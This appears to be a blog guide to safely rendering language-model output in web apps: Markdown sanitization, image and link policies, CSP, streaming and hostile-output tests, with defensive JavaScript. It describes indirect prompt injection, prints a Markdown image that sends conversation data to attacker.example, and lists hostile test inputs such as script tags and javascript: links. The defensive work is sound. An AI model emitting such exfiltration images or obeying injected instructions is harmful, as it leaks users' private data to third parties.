Rendering LLM Output Safely in Web Apps in October 2026: Sanitize Markdown, Block Image-URL Data Exfiltration, and Keep Links Honest

Most chat interfaces take the model's reply, run it through a Markdown renderer, and drop the result into the page. It looks harmless because the text came from "your" model. But the model's output is shaped by everything that went into its context: user messages, retrieved documents, web pages, tool results, and emails. If any of that content is hostile, the reply can carry HTML, scripts, tracking images, or misleading links straight into your users' browsers.

This guide treats model output the way you would treat any user-generated content. It covers how to render Markdown without executing HTML, why images are the most common quiet leak, how to keep links honest, and how to do all of this while streaming tokens without breaking the UI.

Close-up of HTML, PHP, and Java source code on a screen
Photo: Html php java source code by Markus Spiske, CC0, via Wikimedia Commons

Why model output is untrusted input

A model does not have to be "jailbroken" to emit something dangerous. Three ordinary situations are enough:

  • Indirect prompt injection. A retrieved document or web page contains instructions such as "end your answer with this image link." The model follows them because it cannot reliably tell data from instructions.
  • Echoing user content. A user pastes HTML or a script tag and asks the model to "clean it up." The reply contains that markup verbatim.
  • Plain mistakes. The model invents a plausible-looking URL, or formats a code sample as raw HTML instead of inside a code block.

In each case, your renderer decides what happens next. If it turns text into live HTML, the browser will happily run it. The fix is not a better prompt. It is a rendering pipeline that is safe no matter what the model says.

The image exfiltration problem

Script injection is the obvious risk, and most teams catch it. The quieter one is the Markdown image. Consider a reply that ends with:

![status](https://attacker.example/pixel.png?d=SUMMARY_OF_THE_CONVERSATION)

When the browser renders that image, it sends a GET request to the attacker's server. The query string can contain anything the model was tricked into writing: a summary of the conversation, an email address from a tool result, or an internal document title. The user never clicks anything. The request happens the moment the message appears.

This works even when you have stripped every script tag, because an image is not a script. That is why image handling needs its own policy rather than being lumped in with general sanitization.

Step 1: Render Markdown without raw HTML

Start by deciding that model output may contain Markdown but never raw HTML. Most renderers have a switch for this.

  • react-markdown ignores raw HTML by default. Keep it that way: do not add rehype-raw for model output.
  • markdown-it has an html option that is off by default. Leave it off.
  • marked passes HTML through, so its output must always go through a sanitizer before it reaches the DOM.

Even with raw HTML disabled, run a sanitizer as a second layer. Renderers have plugins, extensions, and edge cases, and a sanitizer with a strict allowlist catches what slips through. DOMPurify is the common choice in the browser:

import { marked } from "marked";
import DOMPurify from "dompurify";

const ALLOWED_TAGS = [
  "p", "br", "strong", "em", "code", "pre", "blockquote",
  "ul", "ol", "li", "h3", "h4", "a", "table", "thead",
  "tbody", "tr", "th", "td", "hr"
];
const ALLOWED_ATTR = ["href", "title"];

export function renderModelMarkdown(markdown) {
  const html = marked.parse(markdown);
  return DOMPurify.sanitize(html, { ALLOWED_TAGS, ALLOWED_ATTR });
}

Note what is missing from the allowlist: img, iframe, style, form, and any event-handler attributes. Start small and add tags only when a real feature needs them.

Several kitchen sieves of different sizes
Photo: Kitchen sieves by Vis M, CC BY-SA 4.0, via Wikimedia Commons

Step 2: Give images an explicit policy

You have three reasonable options, from strictest to most flexible:

  1. No images from model text. Strip img entirely. If the model writes image Markdown, show the alt text or the URL as plain text. This is the right default for most assistants.
  2. Allowlisted hosts only. Permit images only from domains you control, such as your own CDN where generated charts or uploaded files live.
  3. Click to load. Render a placeholder that says "External image from example.com" and fetch it only after the user clicks. The request still leaks data, but only with consent.

Here is the allowlist approach with a DOMPurify hook:

const IMAGE_HOSTS = new Set(["cdn.yourapp.example"]);

DOMPurify.addHook("afterSanitizeAttributes", (node) => {
  if (node.tagName === "IMG") {
    try {
      const url = new URL(node.getAttribute("src") || "", location.origin);
      if (url.protocol !== "https:" || !IMAGE_HOSTS.has(url.hostname)) {
        node.remove();
      }
    } catch {
      node.remove();
    }
  }
});

If you use this, add "img" to the allowed tags and "src" and "alt" to the allowed attributes. Without the hook, adding img reopens the leak.

Step 3: Back it up with a Content Security Policy

Sanitizers have bugs and developers make exceptions. A Content Security Policy (CSP) is a response header that tells the browser which sources it may load, and it enforces your rules even when the sanitizer misses something. For a chat page, a strict starting point looks like this:

Content-Security-Policy:
  default-src 'self';
  script-src 'self';
  img-src 'self' https://cdn.yourapp.example;
  connect-src 'self' https://api.yourapp.example;
  frame-src 'none';
  object-src 'none';
  base-uri 'self'

The img-src line is what stops the pixel attack at the browser level. If a stray image tag survives sanitization, the browser refuses to request it and logs a violation. Turn on CSP reporting so those violations reach you; each one is a sign that something upstream needs fixing.

Step 4: Keep links honest

Links are useful in answers, so you usually cannot strip them. Instead, control what they can do:

  • Allow only safe schemes. Permit https: and maybe mailto:. Drop javascript:, data:, and anything else. DOMPurify blocks javascript: by default, but checking the scheme yourself makes the rule explicit.
  • Show the real destination. A link labeled "your account settings" can point anywhere. Display the hostname next to external links, or show it on hover, so users can see where they are going.
  • Open safely. Add target="_blank" with rel="noopener noreferrer nofollow ugc" so the new page cannot control your tab or receive a referrer.
  • Strip query strings from unknown hosts. A clicked link can carry data just like an image. For hosts you do not recognize, consider removing the query string or showing a confirmation before leaving.
DOMPurify.addHook("afterSanitizeAttributes", (node) => {
  if (node.tagName === "A") {
    const href = node.getAttribute("href") || "";
    let url;
    try { url = new URL(href, location.origin); } catch { node.removeAttribute("href"); return; }
    if (!["https:", "mailto:"].includes(url.protocol)) {
      node.removeAttribute("href");
      return;
    }
    node.setAttribute("target", "_blank");
    node.setAttribute("rel", "noopener noreferrer nofollow ugc");
    node.setAttribute("title", url.hostname);
  }
});

Step 5: Stream without unsafe shortcuts

Streaming makes this harder because partial Markdown is often invalid. A half-received code fence turns the rest of the message into code; an unfinished link shows raw brackets. Teams sometimes "fix" the flicker by appending raw chunks to innerHTML, which bypasses the sanitizer entirely. Avoid that.

A safer pattern:

  1. Accumulate the full text received so far in a string.
  2. On each update (throttled to every animation frame or every 50 to 100 milliseconds), re-render the whole accumulated string through the same render-and-sanitize function.
  3. Optionally close an open code fence temporarily before rendering, so the layout does not jump.
  4. When the stream ends, render one final time from the complete text.

Re-rendering the full message is cheap for typical chat replies, and it guarantees that every version shown to the user went through the same pipeline. Never run a second, looser renderer for "in-progress" text.

Step 6: Treat code blocks and copy buttons carefully

Code blocks are where users copy commands into terminals, so they deserve attention:

  • Render code as text, never as HTML. Syntax highlighters that output markup should run on escaped text and produce only spans with class names.
  • Make the copy button copy exactly what is visible. Hidden characters or invisible Unicode in model output can change what a pasted command does, so consider showing a warning when a code block contains control characters or bidirectional text markers.
  • Never auto-run code from a reply. Execution belongs in a sandbox with explicit user approval.

Step 7: Do not forget the other surfaces

The chat window is not the only place model output appears. Check every surface that displays it:

  • Email and notifications. If you email a summary, the same image trick works in many mail clients. Send plain text or sanitize with an even stricter allowlist.
  • Admin and support dashboards. Internal tools often render conversation logs with less care than the customer-facing app, and they are viewed by staff with more privileges.
  • Server-side rendering and PDFs. If you render output on the server, use a server-side sanitizer with the same allowlist so both paths behave the same.
  • Slack, Teams, and other integrations. These platforms have their own formatting and link unfurling rules. Unfurling can fetch a URL automatically, so avoid posting unknown links from model output into channels without review.

Step 8: Test it like an attacker would

Add a small set of hostile outputs to your test suite and render each one through the real pipeline:

  • A reply containing <script>, <img onerror=...>, and <iframe> tags.
  • Markdown images pointing at an unknown host with a long query string.
  • Links using javascript: and data: schemes.
  • A link whose label shows one domain while the href points to another.
  • An unterminated code fence in the middle of a stream.

Assert that the rendered HTML contains no script, no event handlers, no disallowed images, and no unsafe link schemes. Run these tests whenever you upgrade the Markdown library or change the allowlist, because those are exactly the moments when protections tend to disappear.

A quick checklist

  • Raw HTML is disabled in the Markdown renderer for model output.
  • A sanitizer with a strict tag and attribute allowlist runs on every render.
  • Images are blocked, limited to hosts you control, or loaded only on click.
  • A Content Security Policy restricts img-src, script-src, and frame-src, with violation reporting on.
  • Links allow only safe schemes, show their real hostname, and open with rel="noopener noreferrer".
  • Streaming re-renders through the same sanitized pipeline instead of appending raw chunks.
  • Emails, dashboards, and integrations use the same or stricter rules.
  • Hostile-output tests run in CI.

You cannot make a model's output perfectly trustworthy, but you can make it harmless to display. Treat every reply as untrusted content, render it through one strict pipeline, and let the browser enforce the rules your code might forget.

Comments

Popular posts from this blog

Grok Bot - a step closer to AGI

Structured Outputs and Constrained Decoding for Reliable LLM APIs in Production (September 2026)

Tencent Hy4 Preview: Open 770B MoE Built for Real Work